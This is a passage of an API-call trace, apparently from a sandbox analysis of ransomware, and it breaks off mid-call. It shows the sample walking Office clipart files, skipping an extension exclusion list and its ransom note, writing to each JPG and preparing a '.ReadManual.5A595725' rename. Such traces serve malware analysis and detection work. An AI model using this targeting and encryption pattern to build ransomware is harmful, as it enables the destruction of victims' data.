Office\\CLIPART\\PUB60COR\\J0341634.JPG.ReadManual.5A595725") returned 87 [0269.708] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39037673224) returned 1 [0269.708] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg")) returned 0x20 [0269.708] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.708] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7803) returned 1 [0269.709] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e7b, lpName=0x0) returned 0x184 [0269.709] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.709] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.709] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.711] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.711] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e7b) returned 0x2f0000 [0269.712] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.712] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39038040727) returned 1 [0269.712] CloseHandle (hObject=0x184) returned 1 [0269.712] SetSecurityInfo () returned 0x57 [0269.712] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.712] CloseHandle (hObject=0x194) returned 1 [0269.712] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3615, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0341636.JPG", cAlternateFileName="")) returned 1 [0269.712] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0341636.JPG" | out: lpString1="J0341636.JPG") returned="J0341636.JPG" [0269.712] lstrcmpiW (lpString1="J0341636.JPG", lpString2="RecoveryManual.html") returned -1 [0269.712] StrStrIW (lpFirst="J0341636.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.712] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.712] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.712] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.712] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.712] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.712] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.712] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.712] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.712] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.712] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.712] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.712] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.712] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.712] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.712] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" [0269.713] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG.ReadManual.5A595725" [0269.713] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG.ReadManual.5A595725") returned 87 [0269.713] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39038137254) returned 1 [0269.713] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg")) returned 0x20 [0269.713] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.714] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13845) returned 1 [0269.714] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3615, lpName=0x0) returned 0x184 [0269.714] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.715] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.715] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.717] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.717] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3615) returned 0x2f0000 [0269.717] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.717] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39038600901) returned 1 [0269.717] CloseHandle (hObject=0x184) returned 1 [0269.717] SetSecurityInfo () returned 0x57 [0269.717] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.717] CloseHandle (hObject=0x194) returned 1 [0269.718] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0341645.JPG", cAlternateFileName="")) returned 1 [0269.718] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0341645.JPG" | out: lpString1="J0341645.JPG") returned="J0341645.JPG" [0269.718] lstrcmpiW (lpString1="J0341645.JPG", lpString2="RecoveryManual.html") returned -1 [0269.718] StrStrIW (lpFirst="J0341645.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.718] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.718] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.718] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.718] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.718] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.718] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.718] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.718] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.718] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.718] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.718] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.718] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.718] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.718] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.718] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" [0269.718] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG.ReadManual.5A595725" [0269.718] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG.ReadManual.5A595725") returned 87 [0269.718] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39038694214) returned 1 [0269.718] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg")) returned 0x20 [0269.719] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.719] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8230) returned 1 [0269.720] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2026, lpName=0x0) returned 0x184 [0269.720] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.721] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.721] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.722] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.723] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2026) returned 0x2f0000 [0269.723] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.723] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39039166314) returned 1 [0269.723] CloseHandle (hObject=0x184) returned 1 [0269.723] SetSecurityInfo () returned 0x57 [0269.723] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.723] CloseHandle (hObject=0x194) returned 1 [0269.723] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3df7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0341653.JPG", cAlternateFileName="")) returned 1 [0269.723] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0341653.JPG" | out: lpString1="J0341653.JPG") returned="J0341653.JPG" [0269.723] lstrcmpiW (lpString1="J0341653.JPG", lpString2="RecoveryManual.html") returned -1 [0269.723] StrStrIW (lpFirst="J0341653.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.723] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.723] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.723] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.723] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.723] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.723] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.723] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.724] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.724] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.724] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.724] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.724] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.724] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.724] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.724] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" [0269.724] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG.ReadManual.5A595725" [0269.724] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG.ReadManual.5A595725") returned 87 [0269.724] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39039260609) returned 1 [0269.724] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg")) returned 0x20 [0269.724] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.724] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15863) returned 1 [0269.724] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3df7, lpName=0x0) returned 0x184 [0269.724] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.725] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.725] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.727] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.727] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3df7) returned 0x2f0000 [0269.728] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.728] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39039655011) returned 1 [0269.728] CloseHandle (hObject=0x184) returned 1 [0269.728] SetSecurityInfo () returned 0x57 [0269.728] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.728] CloseHandle (hObject=0x194) returned 1 [0269.728] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d7f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0341654.JPG", cAlternateFileName="")) returned 1 [0269.728] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0341654.JPG" | out: lpString1="J0341654.JPG") returned="J0341654.JPG" [0269.728] lstrcmpiW (lpString1="J0341654.JPG", lpString2="RecoveryManual.html") returned -1 [0269.728] StrStrIW (lpFirst="J0341654.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.728] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.728] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.728] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.728] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.728] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.728] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.728] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.728] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.728] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.728] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.729] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.729] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.729] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.729] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.729] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" [0269.729] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG.ReadManual.5A595725" [0269.729] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG.ReadManual.5A595725") returned 87 [0269.729] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39039751690) returned 1 [0269.729] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg")) returned 0x20 [0269.729] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.729] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15743) returned 1 [0269.729] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d7f, lpName=0x0) returned 0x184 [0269.729] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.730] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.730] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.732] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.733] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d7f) returned 0x2f0000 [0269.733] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.733] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39040171645) returned 1 [0269.733] CloseHandle (hObject=0x184) returned 1 [0269.733] SetSecurityInfo () returned 0x57 [0269.733] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.733] CloseHandle (hObject=0x194) returned 1 [0269.733] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ec6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0341738.JPG", cAlternateFileName="")) returned 1 [0269.733] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0341738.JPG" | out: lpString1="J0341738.JPG") returned="J0341738.JPG" [0269.733] lstrcmpiW (lpString1="J0341738.JPG", lpString2="RecoveryManual.html") returned -1 [0269.733] StrStrIW (lpFirst="J0341738.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.733] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.733] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.733] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.733] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.734] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.734] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.734] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.734] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.734] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.734] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.734] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.734] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.734] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.734] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.734] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" [0269.734] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG.ReadManual.5A595725" [0269.734] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG.ReadManual.5A595725") returned 87 [0269.734] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39040267504) returned 1 [0269.734] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg")) returned 0x20 [0269.734] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.734] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20166) returned 1 [0269.734] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ec6, lpName=0x0) returned 0x184 [0269.735] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.735] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.735] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.737] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, 